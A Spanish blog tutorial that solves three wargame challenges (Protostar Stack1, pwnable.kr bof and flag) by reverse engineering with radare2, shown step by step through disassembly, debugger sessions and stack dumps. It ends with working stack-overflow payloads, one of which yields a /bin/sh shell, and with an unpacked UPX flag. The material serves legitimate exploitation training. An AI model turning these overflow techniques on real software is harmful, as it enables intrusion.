La mayoría de los Exploits son parecido a trucos de magia y en el mundo real los programas o software que ejecutamos a diario en los sistemas, son binarios ya compilados y entendibles por el procesador. Muy pocas veces disponemos del código fuente por ello en los retos que se resolverán en esta serie de entradas realizaremos ingeniería inversa del binario con la tool radare2 en busca de alguna vulnerabilidad para posteriormente explotarlo. Para un hacker comprendiendo bien el funcionamiento de la CPU y examinando la memoria en tiempo de ejecución cuando Debuggeamos, es la forma real de ver e interactuar con una aplicación.
Bajo mi punto de vista la mejor forma de aprender es practicando y recomiendo que hagáis por vosotros mismos los retos sin ayuda de la solución, salvo empezando de cero.
Los retos que haremos serán primero uno básico de la página exploit-exercises.com, y los demás serán todos de pwnable.kr y pwnable.tw al igual que haremos también de root-me.org. Recomiendo la lectura del libro Linux Exploiting de David Puente Castro.
También recomiendo la serie de entradas de introducción a reversing:
Stack1
Este reto es el Stack1 de la VM Protostar. Podéis encontrar más información en la web: https://exploit-exercises.com/protostar/
Código fuente:
#include <stdlib.h>#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
if(argc == 1) {
errx(1, «please specify an argument\n«);
}
modified = 0;
strcpy(buffer, argv[1]);
if(modified == 0x61626364) {
printf(«you have correctly got the variable to the right value\n«);
} else {
printf(«Try again, you got 0x%08x\n«, modified);
}
}
Tenemos un código fuente vulnerable, pero sin saber o disponer de él vamos a realizar Debugging del binario, con radare2. Según este reto es igual que el Stack0, con la diferencia que la variable “modified” debe ser el valor 0x61626364. Analizamos el binario y mostramos las funciones y “Seeking” al Entrypoint.
$ sudo r2 -d stack1
[0x00005230]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[Cannot find section boundaries in here
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 1149 1149
[0x00005230]> afl
0x00001000 1 1 sym.__mh_execute_header
0x00001e40 6 202 entry0
0x00001f0a 1 6 sym.imp.__strcpy_chk
0x00001f10 1 6 sym.imp.errx
0x00001f16 1 6 sym.imp.printf
[0x00005230]> s entry0
Ahora vamos a ver las Strings del binario, para poder recolectar información.
[0x00001e40]> iz
vaddr=0x00001f46 paddr=0x00000f46 ordinal=000 sz=28 len=27 section=3.__TEXT.__cstring type=ascii string=please specify an argument\n
vaddr=0x00001f62 paddr=0x00000f62 ordinal=001 sz=56 len=55 section=3.__TEXT.__cstring type=ascii string=you have correctly got the variable to the right value\n
vaddr=0x00001f9a paddr=0x00000f9a ordinal=002 sz=27 len=26 section=3.__TEXT.__cstring type=ascii string=Try again, you got 0x%08x\n
Nos interesa saber las dos direcciones primeras, el error que da cuando introducimos un argumento y cuando obtenemos el valor correcto ya que esa será la solución. También nos interesa saber las llamadas que se realizan a funciones, podemos hacerlo grepeando para constatar la información anterior.
[0x00001e40]> pd~call
│ 0x00001e46 e800000000 call 0x1e4b
│ │ 0x00001e88 e883000000 call sym.imp.errx
│ 0x00001eb7 e84e000000 call sym.imp.__strcpy_chk
│ │ 0x00001eda e837000000 call sym.imp.printf ; int printf(const char *format)
│ │ 0x00001efa e817000000 call sym.imp.printf ; int printf(const char *format)
Vemos que llama dos veces a imprimir por terminal, llamada a la función errx que imprime por pantalla un mensaje de error previamente formateado y la función strcpy que copia un String origen a un destino.
Tenemos el problema que hay que introducir si o si un argumento, sino siempre va a entrar en la función de error y finaliza el programa.
Si desensamblamos las primeras lineas de la función del Entrypoint, vemos lo que me refiero.
0x00001e4b 58 pop eax
│ 0x00001e4c 8b4d0c mov ecx, dword [arg_ch] ; [0xc:4]=-1 ; 12
│ 0x00001e4f 8b5508 mov edx, dword [arg_8h] ; [0x8:4]=-1 ; 8
│ 0x00001e52 c745fc000000. mov dword [local_4h], 0
│ 0x00001e59 8955f8 mov dword [local_8h], edx
│ 0x00001e5c 894df4 mov dword [local_ch], ecx
│ 0x00001e5f 837df801 cmp dword [local_8h], 1 ; [0x1:4]=-1 ; 1
│ 0x00001e63 8945ac mov dword [local_54h], eax
│ ┌─< 0x00001e66 0f8524000000 jne 0x1e90
│ │ 0x00001e6c b801000000 mov eax, 1
│ │ 0x00001e71 8b4dac mov ecx, dword [local_54h]
│ │ 0x00001e74 8d91fb000000 lea edx, [ecx + 0xfb] ; 251
│ │ 0x00001e7a c70424010000. mov dword [esp], 1
│ │ 0x00001e81 89542404 mov dword [local_4h_2], edx
│ │ 0x00001e85 8945a8 mov dword [local_58h], eax
│ │ 0x00001e88 e883000000 call sym.imp.errx
│ │ 0x00001e8d 8945a4 mov dword [local_5ch], eax
│ └─> 0x00001e90 b840000000 mov eax, 0x40 ; ‘@’ ; 64
│ 0x00001e95 8d4db0 lea ecx, [local_50h]
El salto condicional JNE salta si no es igual o no es cero (ZF=0). Por tanto si no le pasamos argumentos al binario, no salta ya que es igual a 1 y llamará a la función errx. Se considera uno más los n argumentos, siendo uno el propio nombre del binario.
Si vemos esta instrucción:
Y luego si vemos esta otra:
0x00001ebf 81f964636261 cmp ecx, 0x61626364
Deducimos que la variable local_10h es “modified” con el valor cero, y luego se mueve a un registro que será comparado con un valor en hexadecimal.
Antes de pasarle el argumento al binario y ejecutar radare2 en modo Debugger, quiero aclarar un poco el código en ASM e ir buscando objetivos claros. Si la variable local_10h, es comparada con un valor en hexadecimal y según el resultado de la comparación el flujo de ejecución se bifurca hacia un print (La solución) y otro print(Resultado erróneo), es interesante para realizar el Buffer Overflow saber donde se encuentra dicha variable en el Stack. Según en él desensamblado la variable local_10h es ebp-0x10, por tanto ya sabemos donde buscar cuando hagamos Debugging en el Stack ya que será clave siendo donde habrá que escribir el valor en hexadecimal (0x61626364) que vemos hardcodeado.
Se valora también esta instrucción implicando mover al registro EAX el valor del buffer. Se deduce esto ya que su valor es el último que se mueve a la variable local local_60h justo antes de la llamada a la función strcpy copiando la String que introducimos al buffer.
Con estas dos deducciones vamos a pasarle directamente el argumento y colocaremos un Breakpoint después de la llamada a la función strcpy.
$ sudo r2 -d stack1 AAAAAAAAAAAAAAABBBBBBBBBBBBCCCCCCCCCCCCCBBBBBBBBBBBEEEEEE
[0x00001ec5]> Vpp
[0x00001ec5 200 /Users/n4ivenom/Desktop/Scripts/pwn/stack1]> ?0;f tmp;s.. @ eip
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xbffffde0 08fe ffbf e1fe ffbf 4000 0000 0643 0100 ……..@….C..
0xbffffdf0 0000 0000 8a59 0300 4000 0000 0010 0000 …..Y..@…….
0xbffffe00 9cfe ffbf 4b1e 0000 4141 4141 4141 4141 ….K…AAAAAAAA
0xbffffe10 4141 4141 4141 4142 4242 4242 4242 4242 AAAAAAABBBBBBBBB
eax 0xbffffe08 ebx 0xbffffe9c ecx 0x00000000 edx 0xbffffee1
edi 0x00000000 esi 0x00000000 ebp 0xbffffe58 esp 0xbffffde0
eflags C1PASTI eip 0x00001ec5
| ;– eip:
│ 0x00001ec5 89459c mov dword [local_64h], eax
Observamos en el Stack los valores que le pasamos por argumentos almacenados en él.
[0x00001ebc]> px @ ebp-0x10
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xbffffe48 0000 0000 8cfe ffbf 0200 0000 0000 0000 …………….
0xbffffe58 84fe ffbf 1127 50a7 0200 0000 8cfe ffbf …..’P………
Corroboramos el valor de la variable local inicializada a cero en los cuatro primeros offset.
[0x00001ebc]> px @ eax
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xbffffe08 4141 4141 4141 4141 4141 4141 4141 4142 AAAAAAAAAAAAAAAB
0xbffffe18 4242 4242 4242 4242 4242 4243 4343 4343 BBBBBBBBBBBCCCCC
0xbffffe28 4343 4343 4343 4343 4242 4242 4242 4242 CCCCCCCCBBBBBBBB
0xbffffe38 4242 4245 4545 4545 4500 0000 0044 0000 BBBEEEEEE….D..
0xbffffe48 0000 0000 8cfe ffbf 0200 0000 0000 0000 …………….
Y en el registro EAX, el primer offset corresponde el inicio del buffer. Por tanto ya lo tenemos, simplemente tendríamos que pasarle como argumento 16*4+dcba, siendo (4) el número de filas y (dcba) los caracteres del valor hexadecimal (0x61626364), colocándolos al revés como ya vimos en la pasada entrada. Por tanto para pwnear el server por un error o fallo en un binario nos valdría con esta sentencia:
$ ./stack1 $(python -c ‘print «A»*64+»\x64\x63\x62\x61″‘)
you have correctly got the variable to the right value
O si quieren ejecutarlo en local y tienen un OSX, compilamos el binario con esta sentencia:
$ sudo gcc -m32 -fno-stack-protector -g -D_FORTIFY_SOURCE=0 -o stack1 stack1.c
$ ./stack1 $(python -c ‘print «A»*64+»\x64\x63\x62\x61″‘)
you have correctly got the variable to the right value
bof
Bien este es otro buffer overflow más. Haremos este reto bof correspondiente de la web pwnable.kr.
Disponemos del código fuente, pero a partir de este momento no se muestra ya que es preferible analizar el binario haciendo ingeniería inversa con radare2. Comenzamos:
[0x00001f20]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[0x00001f20]> afl
0x00001ea0 4 115 sym._func
0x00001f20 1 52 entry0
0x00001f54 1 6 sym.imp.gets
0x00001f5a 1 6 sym.imp.printf
0x00001f60 1 6 sym.imp.system_UNIX2003
[0x00001f20]> s entry0
Observamos las correspondientes llamadas a las funciones siendo una de ellas importante a analizar (sym._func). Vemos las Strings del binario:
[0x00001f20]> iz
vaddr=0x00001f92 paddr=0x00000f92 ordinal=000 sz=15 len=14 section=3.__TEXT.__cstring type=ascii string=overflow me :
vaddr=0x00001fa1 paddr=0x00000fa1 ordinal=001 sz=8 len=7 section=3.__TEXT.__cstring type=ascii string=/bin/sh
vaddr=0x00001fa9 paddr=0x00000fa9 ordinal=002 sz=7 len=6 section=3.__TEXT.__cstring type=ascii string=Nah..\n
El primer string podemos deducir que debemos introducir por teclado una serie de cadena de caracteres, el segundo corresponde a un /bin/bash y la última un mensaje mostrando la negativa de no haber conseguido nada.
Desensamblamos el main que corresponde con el Entry Point:
[0x00001f20]> pdf ;– main:
;– func.00001f20:
┌ (fcn) entry0 52
│ entry0 (int arg_8h, int arg_ch);
│ ; var int local_10h @ ebp-0x10
│ ; var int local_ch @ ebp-0xc
│ ; var int local_8h @ ebp-0x8
│ ; var int local_4h @ ebp-0x4
│ ; arg int arg_8h @ ebp+0x8
│ ; arg int arg_ch @ ebp+0xc
│ 0x00001f20 55 push ebp
│ 0x00001f21 89e5 mov ebp, esp
│ 0x00001f23 83ec18 sub esp, 0x18
│ 0x00001f26 8b450c mov eax, dword [arg_ch] ; [0xc:4]=-1 ; 12
│ 0x00001f29 8b4d08 mov ecx, dword [arg_8h] ; [0x8:4]=-1 ; 8
│ 0x00001f2c baefbeadde mov edx, 0xdeadbeef
│ 0x00001f31 c745fc000000. mov dword [local_4h], 0
│ 0x00001f38 894df8 mov dword [local_8h], ecx
│ 0x00001f3b 8945f4 mov dword [local_ch], eax
│ 0x00001f3e c70424efbead. mov dword [esp], 0xdeadbeef ; [0xdeadbeef:4]=-1
│ 0x00001f45 8955f0 mov dword [local_10h], edx
│ 0x00001f48 e853ffffff call sym._func
│ 0x00001f4d 31c0 xor eax, eax
│ 0x00001f4f 83c418 add esp, 0x18
│ 0x00001f52 5d pop ebp
└ 0x00001f53 c3 ret
Si analizamos detenidamente el desensamblado se mueve el valor de los argumentos a los registros EAX y ECX. Estos argumentos que recibe la función main tiene esta estructura:
int main (int argc, char *argv[]){
return 0;
}
argc contiene el numero de argumentos que recibe el programa y argv los strings que se le pasa al programa. Un ejemplo sería:
./bof hola tal
En total sería argc= 3 y bof sería argv[0], hola argv[1] y tal argv[2].
El registro EDX contiene un valor hexadecimal hardcodeado que será un argumento que recibirá la función (sym._func). Esto lo deducimos ya que se mueve al ESP y también se mueve a la variable local_10h. Podemos comprobar el valor del registro EDX justo al entrar en la función, para eso tenemos que colocar un breakpoint y debuggear. Podemos situarlo justo en esta instrucción: mov ecx, dword [arg_8h]
Para ello antes debemos situarnos haciendo “Seeking” en la función. Observamos con detenimiento el desensamblado de las primeras instrucciones antes de llamar a la función gets().
; CALL XREF from 0x00001f48 (entry0)
│ 0x00001ea0 55 push ebp ; section 0 va=0x00001ea0 pa=0x00000ea0 sz=180 vsz=180 rwx=m-r-x 0.__TEXT.__text
│ 0x00001ea1 89e5 mov ebp, esp
│ 0x00001ea3 83ec48 sub esp, 0x48 ; ‘H’
│ 0x00001ea6 e800000000 call 0x1eab
│ ; CALL XREF from 0x00001ea6 (sym._func)
│ 0x00001eab 58 pop eax
│ 0x00001eac 8b4d08 mov ecx, dword [arg_8h] ; [0x8:4]=-1 ; 8
│ 0x00001eaf 8d90e7000000 lea edx, [eax + 0xe7] ; 231
│ 0x00001eb5 894dfc mov dword [local_4h], ecx
│ 0x00001eb8 891424 mov dword [esp], edx ; const char * format
│ 0x00001ebb 8945d8 mov dword [local_28h], eax
│ 0x00001ebe e897000000 call sym.imp.printf ; int printf(const char *format)
│ 0x00001ec3 8d4ddc lea ecx, [local_24h]
│ 0x00001ec6 890c24 mov dword [esp], ecx ; char *s
│ 0x00001ec9 8945d4 mov dword [local_2ch], eax
Colocamos un breakpoint donde dije anteriormente y también justo después de la función printf().
[0x00001ea0]> db 0x00001eac
[0x00001ea0]> db 0x00001ec3
[0x00001ea0]> dc
hit breakpoint at: 1eac
Visualizamos con Vpp el Stack y el valor de los registros con el EIP apuntando a la dirección de memoria donde situamos el Breakpoint:
[0x00001ea0 185 /Users/n4ivenom/Desktop/Scripts/pwn/bof]> ?0;f tmp;s.. @ sym._func
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xbffffe30 0000 0000 8a59 0300 3800 c9ec 0010 0000 …..Y..8…….
0xbffffe40 dcfe ffbf d8fe ffbf 98fe ffbf 2754 0000 …………’T..
0xbffffe50 0010 0000 0000 0000 0100 0000 d0fe ffbf …………….
0xbffffe60 d8fe ffbf dcfe ffbf bcfe ffbf 0000 0000 …………….
eax 0x00001eab ebx 0xbffffedc ecx 0x00000001 edx 0xdeadbeef
edi 0x00000000 esi 0x00000000 ebp 0xbffffe78 esp 0xbffffe30
Y como dijimos el valor del registro EDX es el valor en hexadecimal que recibía como argumentos la función. Nos interesa saber en la instrucción mencionada anteriormente donde colocamos el breakpoint que es lo que mueve al registro ECX, simplemente tecleando s ejecutamos una instrucción y mueve el valor del argumento que es: 0xdeadbeef. Miramos el Stack:
eax 0x00001eab ebx 0xbffffedc ecx 0xdeadbeef edx 0xdeadbeef edi 0x00000000 esi 0x00000000 ebp 0xbffffe78 esp 0xbffffe30
eflags 1PSTI eip 0x00001eaf
Y nuestro desensamblado justo en la instrucción donde mueve al registro.
0x00001eac b 8b4d08 mov ecx, dword [arg_8h] ; [0x8:4]=-1 ; 8
| ;– eip:
│ 0x00001eaf 8d90e7000000 lea edx, [eax + 0xe7] ; 231
Si queremos saber que corresponde eax+0xe7 hacemos lo siguiente:
[0x00001ea0]> px @ eax + 0xe7
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00001f92 6f76 6572 666c 6f77 206d 6520 3a20 002f overflow me : ./
0x00001fa2 6269 6e2f 7368 004e 6168 2e2e 0a00 0100 bin/sh.Nah……
Siendo la sección text de las Strings:
[0x00001ea0]> S=
00* 0x00001ea0 |##############################————————-| 0x00001f54 180 mr-x 0.__TEXT.__text
01 0x00001f54 |——————————###———————-| 0x00001f66 18 mr-x 1.__TEXT.__symbol_stub
02 0x00001f68 |———————————########————–| 0x00001f92 42 mr-x 2.__TEXT.__stub_helper
03 0x00001f92 |—————————————-######———| 0x00001fb0 30 mr-x 3.__TEXT.__cstring
Por tanto moverá la dirección de memoria correspondiente: 0x00001f92 y no el valor ya que la instrucción en assembly es un LEA y no un MOV. Ejecutamos una instrucción nuevamente y vemos el Stack:
eax 0x00001eab ebx 0xbffffedc ecx 0xdeadbeef edx 0x00001f92 edi 0x00000000 esi 0x00000000 ebp 0xbffffe78 esp 0xbffffe30
eflags 1PSTI eip 0x00001eb5
Es interesante al Debuggear, estar pendiente en todo momento de los valores del Stack. En las dos siguientes instrucciones la variable local_4h va a corresponder al valor en hexadecimal (0xdeadbeef), y en el registro ESP su valor o contenido será justamente la dirección de memoria donde comienza la String (overflow):
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xbffffe30 921f 0000 8a59 0300 3800 c9ec 0010 0000 …..Y..8…….
0xbffffe40 dcfe ffbf d8fe ffbf 98fe ffbf 2754 0000 …………’T..
0xbffffe50 0010 0000 0000 0000 0100 0000 d0fe ffbf …………….
0xbffffe60 d8fe ffbf dcfe ffbf bcfe ffbf 0000 0000 …………….
eax 0x00001eab ebx 0xbffffedc ecx 0xdeadbeef edx 0x00001f92
edi 0x00000000 esi 0x00000000 ebp 0xbffffe78 esp 0xbffffe30
Hacemos un inciso de donde esta el EIP en el proceso de ejecución del programa:
0x00001ebb 8945d8 mov dword [local_28h], eax
0x00001ebe e897000000 call sym.imp.printf ;[2] ; int printf(const char *format)
De momento hitos importantes resueltos antes de la llamada a la función printf():
- Sabemos que el ESP en el Stack contiene la dirección de memoria que apunta a la String (overflow).
- La variable local_4h contiene el valor hexadecimal 0xdeadbeef.
- Y la dirección de memoria que contiene el registro EAX, será movido a la variable local_28h que será el argumento correspondiente a la función printf().
Para no entrar en la función printf(), con dc nos situamos en el siguiente breakpoint que pusimos. Si nos entra curiosidad de que es lo que contiene la variable local_24h:
0x00001ec3 b 8d4ddc lea ecx, [local_24h]
Podríamos verlo en el hexdump de radare2:
[0x00001ea0]> px @ebp-0x24
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xbffffe54 0000 0000 0100 0000 d0fe ffbf d8fe ffbf …………….
0xbffffe64 dcfe ffbf bcfe ffbf 0000 0000 0000 0000 …………….
0xbffffe74 efbe adde 98fe ffbf 4d1f 0000 efbe adde ……..M…….
0xbffffe84 0044 0000 efbe adde d0fe ffbf 0100 0000 .D…………..
Ejecutamos la instrucción y vemos como el registro ECX contiene la dirección de memoria resaltada.
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xbffffe30 921f 0000 8a59 0300 3800 c9ec 0010 0000 …..Y..8…….
0xbffffe40 dcfe ffbf d8fe ffbf 98fe ffbf 2754 0000 …………’T..
0xbffffe50 ab1e 0000 0000 0000 0100 0000 d0fe ffbf …………….
0xbffffe60 d8fe ffbf dcfe ffbf bcfe ffbf 0000 0000 …………….
eax 0x0000000e ebx 0xbffffedc ecx 0xbffffe54 edx 0x00012868
edi 0x00000000 esi 0x00000000 ebp 0xbffffe78 esp 0xbffffe30
eflags 1STI eip 0x00001ec6
Al colocar un Breakpoint después de la llamada a la función gets(), nos pide que introduzcamos por teclado una cadena de caracteres:
[0x00001e9c]> db 0x00001ed1
[0x00001e9c]> dc
warning: this program uses gets(), which is unsafe.
overflow me : AAAAAAAAAAABBBBBBBBBBBCCCCCCCCCCCCCCDDDD
hit breakpoint at: 1ed1
Visualizamos con Vpp y apreciamos como el registro EAX ahora vale lo que valía ECX antes de entrar en la función en el offset 4 y mirando al Stack deducimos que es el comienzo del array donde almacena la cadena de caracteres que recoge gets().
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xbffffe30 54fe ffbf 8a59 0300 1b00 3db6 0010 0000 T….Y….=…..
0xbffffe40 dcfe ffbf d8fe ffbf 98fe ffbf 0e00 0000 …………….
0xbffffe50 ab1e 0000 4141 4141 4141 4141 4141 4142 ….AAAAAAAAAAAB
0xbffffe60 4242 4242 4242 4242 4242 4343 4343 4343 BBBBBBBBBBCCCCCC
eax 0xbffffe54 ebx 0xbffffedc ecx 0xa9a9a1f0 edx 0x00012068
edi 0x00000000 esi 0x00000000 ebp 0xbffffe78 esp 0xbffffe30
eflags 1SI eip 0x00001ed1
En la siguiente instrucción va a comparar un valor hexadecimal, distinto al que vimos con anterioridad, con la variable local_4h. Si no nos acordamos de cuanto valía siempre podemos ver el hexdump:
[0x00001ea0]> px @ebp-0x4
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xbffffe74 4343 4343 4444 4444 001f 0000 efbe adde CCCCDDDD……..
0xbffffe84 0044 0000 efbe adde d0fe ffbf 0100 0000 .D…………..
Bueno observamos que ha sido sobreescrita con lo introducido por teclado y eso es buena señal, ya que si hay una comparación del valor hexadecimal (0xcafebabe) y el contenido de la variable local_4h(0xdeadbeef) activará la eflag y según el tipo de salto realizado, el flujo de ejecución cambiará a una dirección de memoria dado o seguirá su curso. Es un salto condicional JNE que saltará si no es igual o no es cero (ZF=0) y viendo el desensamblado para que obtengamos el /bin/sh no tiene que saltar, por tanto iguales los valores.
Si nos vamos a la parte superior del Stack, podemos ver en conjunto nuestros caracteres introducidos.
[0x00001ea0]> px @esp
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xbffffe30 54fe ffbf 8a59 0300 1b00 3db6 0010 0000 T….Y….=…..
0xbffffe40 dcfe ffbf d8fe ffbf 98fe ffbf 0e00 0000 …………….
0xbffffe50 ab1e 0000 4141 4141 4141 4141 4141 4142 ….AAAAAAAAAAAB
0xbffffe60 4242 4242 4242 4242 4242 4343 4343 4343 BBBBBBBBBBCCCCCC
0xbffffe70 4343 4343 4343 4343 4444 4444 001f 0000 CCCCCCCCDDDD….
0xbffffe80 efbe adde 0044 0000 efbe adde d0fe ffbf …..D……….
Entonces tenemos que desde la dirección de memoria 0xbffffe54 hasta 0xbffffe73 podemos rellenar con los caracteres que queramos, excepto desde el offset 0xbffffe74 que tienen que ser en hexadecimal comenzando por (be): 0xcafebabe.
Como ya vimos tiene que ser en little-endian (bebafeca), y tenemos que en la primera fila son 12 caracteres ASCII+16+4 = 32. Siendo 32*A o cualquier carácter que queramos.
La solución del reto sería esta, devolviéndonos un /bin/sh:
$ (python -c «print 32*’A’+’\xbe\xba\xfe\xca'»;cat) | ./bof
warning: this program uses gets(), which is unsafe.
whoami
n4ivenom
flag
Este binario esta comprimido con UPX Packet, por tanto omito el proceso de unpacking aunque es sencillo simplemente es descargarlo de la página web https://upx.github.io
Comprobamos que esta empacado con Strings:
$ strings flag.dms | grep «upx»
Info: This file is packed with the UPX executable packer http://upx.sf.net
Una vez desempacado visualizamos con iz las Strings grepeando por el término “flag”.
[0x00401058]> iz~flag
vaddr=0x00496658 paddr=0x00096658 ordinal=001 sz=52 len=51 section=.rodata type=ascii string=I will malloc() and strcpy the flag there. take it.
vaddr=0x0049b87c paddr=0x0009b87c ordinal=252 sz=15 len=14 section=.rodata type=ascii string=s->_flags2 & 4
vaddr=0x0049fc00 paddr=0x0009fc00 ordinal=425 sz=93 len=92 section=.rodata type=ascii string=version == ((void *)0) || (flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0
vaddr=0x004b2ee0 paddr=0x000b2ee0 ordinal=1118 sz=65 len=64 section=.rodata type=ascii string=imap->l_type == lt_loaded && (imap->l_flags_1 & 0x00000008) == 0
Nos dan una pista de las funciones malloc() y strcpy(). Pero antes con afl listamos las funciones y hacemos “Seeking” a la función main.
[0x00401058]> px @0x00496658
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00496658 4920 7769 6c6c 206d 616c 6c6f 6328 2920 I will malloc()
0x00496668 616e 6420 7374 7263 7079 2074 6865 2066 and strcpy the f
0x00496678 6c61 6720 7468 6572 652e 2074 616b 6520 lag there. take
0x00496688 6974 2e00 4641 5441 4c3a 206b 6572 6e65 it..FATAL: kerne
[0x00401058]> s 0x00401164
[0x00401164]> pdf
;– main:
┌ (fcn) sym.main 61
│ sym.main ();
│ ; var int local_8h @ rbp-0x8
│ ; DATA XREF from 0x00401075 (entry0)
│ 0x00401164 55 push rbp
│ 0x00401165 4889e5 mov rbp, rsp
│ 0x00401168 4883ec10 sub rsp, 0x10
│ 0x0040116c bf58664900 mov edi, str.I_will_malloc___and_strcpy_the_flag_there._take_it. ; 0x496658 ; «I will malloc() and strcpy the flag there. take it.»
│ 0x00401171 e80a0f0000 call sym.puts ; int puts(const char *s)
│ 0x00401176 bf64000000 mov edi, 0x64 ; ‘d’ ; 100
│ 0x0040117b e850880000 call sym.malloc ; sym.malloc_atfork-0x230 ; void *malloc(size_t size)
│ 0x00401180 488945f8 mov qword [local_8h], rax
│ 0x00401184 488b15e50e2c. mov rdx, qword obj.flag ; [0x6c2070:8]=0x496628 str.UPX…__sounds_like_a_delivery_service_:_ ; «(fI»
│ 0x0040118b 488b45f8 mov rax, qword [local_8h]
│ 0x0040118f 4889d6 mov rsi, rdx
│ 0x00401192 4889c7 mov rdi, rax
│ 0x00401195 e886f1ffff call sub.ifunc_40c050_320
│ 0x0040119a b800000000 mov eax, 0
│ 0x0040119f c9 leave
└ 0x004011a0 c3 ret
Visualizamos la String en la sección .data y obtenemos la flag.
[0x00401164]> px @str.UPX…__sounds_like_a_delivery_service_:_ ;
– offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00496628 5550 582e 2e2e 3f20 736f 756e 6473 206c UPX…? sounds l
0x00496638 696b 6520 6120 6465 6c69 7665 7279 2073 ike a delivery s
0x00496648 6572 7669 6365 203a 2900 0000 0000 0000 ervice :)…….
0x00496658 4920 7769 6c6c 206d 616c 6c6f 6328 2920 I will malloc()
0x00496668 616e 6420 7374 7263 7079 2074 6865 2066 and strcpy the f
0x00496678 6c61 6720 7468 6572 652e 2074 616b 6520 lag there. take
0x00496688 6974 2e00 4641 5441 4c3a 206b 6572 6e65 it..FATAL: kerne
Si grepeamos directamente obtenemos la flag también.
UPX…? sounds like a delivery service 🙂
Primera entrada de referencia: